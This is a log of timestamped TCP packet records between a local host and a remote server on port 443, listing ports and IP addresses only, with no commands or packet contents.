Dec 12, 2024 12:59:26.919116974 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.919248104 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.925642967 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.925676107 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.925721884 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.925734997 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.925767899 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.925833941 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.932034016 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.932065964 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.932145119 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.932145119 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.932161093 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.932774067 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.939279079 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.939306974 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.939354897 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.939368963 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:26.939399004 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:26.939446926 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.083205938 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.083276033 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.083283901 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.083323956 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.083343983 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.083444118 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.089710951 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.089765072 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.089785099 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.089797974 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.089906931 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.089907885 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.097378969 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.097434998 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.097462893 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.097476006 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.097501040 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.097501040 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.103281975 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.103308916 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.103354931 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.103364944 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.103446007 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.103446007 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.110666037 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.110716105 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.110744953 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.110774994 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.110932112 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.110932112 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.117535114 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.117567062 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.117640018 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.117640018 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.117651939 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.117729902 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.124808073 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.124851942 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.124891043 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.124913931 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.124942064 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.124955893 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.132149935 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.132175922 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.132232904 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.132244110 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.132286072 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.132286072 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.286809921 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.286840916 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.287030935 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.287031889 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.287050962 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.287333012 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.292716980 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.292740107 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.292800903 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.292814016 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.292836905 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.292956114 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.299060106 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.299082041 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.299165964 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.299165964 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.299190044 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.299268961 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.304251909 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.304275990 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.304425955 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.304425955 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.304440022 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.306148052 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.311084986 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.311105967 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.311350107 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.311378956 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.312938929 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.317617893 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.317640066 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.317889929 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.317904949 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.318007946 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.324898958 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.324928045 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.324997902 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.325015068 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.325047970 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.325095892 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.332257986 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.332277060 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.332370996 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.332370996 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.332391977 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.332461119 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.475827932 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.475872993 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.475899935 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.475910902 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.475982904 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.475982904 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.482764006 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.482786894 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.482975960 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.482975960 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.482984066 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.483333111 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.490906000 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.490928888 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.490963936 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.490971088 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.491099119 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.496958017 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.496982098 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.497296095 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.497296095 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.497308969 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.497513056 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.503587961 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.503607988 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.503705978 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.503705978 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.503714085 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.503917933 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.510050058 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.510071039 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.510149002 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.510154963 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.510322094 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.513925076 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.517483950 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.517507076 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.517612934 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.517621040 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.517849922 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.524648905 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.524691105 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.524724960 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.524733067 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.524812937 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.524812937 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.667675018 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.667716026 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.667742968 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.667782068 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.667814016 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.667898893 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.674436092 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.674462080 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.674554110 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.674566984 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.674729109 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.681652069 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.681674004 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.681709051 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.681735992 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.681830883 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.681830883 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.688051939 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.688076019 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.688246965 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.688246965 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.688260078 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.688498974 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.695293903 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.695322990 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.695396900 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.695396900 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.695410013 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.695530891 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.702039003 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.702061892 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.702164888 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.702164888 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.702178001 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.702404022 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.709414959 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.709439039 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.709526062 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.709526062 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.709538937 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.709878922 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.716727972 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.716749907 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.716800928 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.716809988 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.716852903 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.716912031 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.867285967 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.867310047 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.867474079 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.867474079 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.867494106 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.867686987 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.874273062 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.874290943 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.874423981 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.874432087 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.878268003 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.881561041 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.881583929 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.881803036 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.881808996 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.882040977 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.888307095 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.888325930 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.888490915 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.888499975 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.889359951 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.894962072 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.894979000 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.895057917 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.895076036 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.897696018 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.901417017 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.901433945 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.901546955 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.901546955 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.901554108 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.901880026 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.908843994 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.908860922 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.908967972 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.908973932 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.909837008 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.915999889 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.916021109 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.916140079 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.916157007 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:27.916172028 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:27.916459084 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.060585022 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.060626984 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.060712099 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.060733080 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.060746908 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.060821056 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.067996025 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.068015099 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.068058014 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.068083048 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.068150043 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.068150043 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.075200081 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.075216055 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.075334072 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.075340986 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.075972080 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.082422972 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.082441092 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.082609892 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.082621098 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.082662106 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.089596987 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.089628935 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.089658976 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.089679003 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.089826107 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.089826107 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.095841885 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.095879078 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.096158981 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.096158981 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.096174002 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.096338034 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.102406979 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.102435112 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.102513075 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.102518082 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.102545023 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.102556944 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.107834101 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.107851982 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.108177900 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.108185053 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.109834909 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.252036095 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.252058983 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.252295971 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.252319098 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.253128052 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.258105040 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.258120060 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.258424997 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.258445978 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.259335995 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.265408993 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.265427113 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.265594006 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.265609980 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.265836000 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.272639990 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.272658110 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.272877932 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.272885084 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.273837090 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.275891066 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.276144981 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.276150942 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.282740116 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.282757998 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.283329964 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.283345938 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.290316105 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.290337086 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.291332960 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.291351080 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.298403978 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.298433065 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.298775911 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.298775911 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.298794031 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.305742025 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.305757999 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.305836916 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.305856943 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.385835886 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.446805954 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.446819067 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.447006941 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.447067022 CET	49878	443	192.168.2.6	172.65.251.78
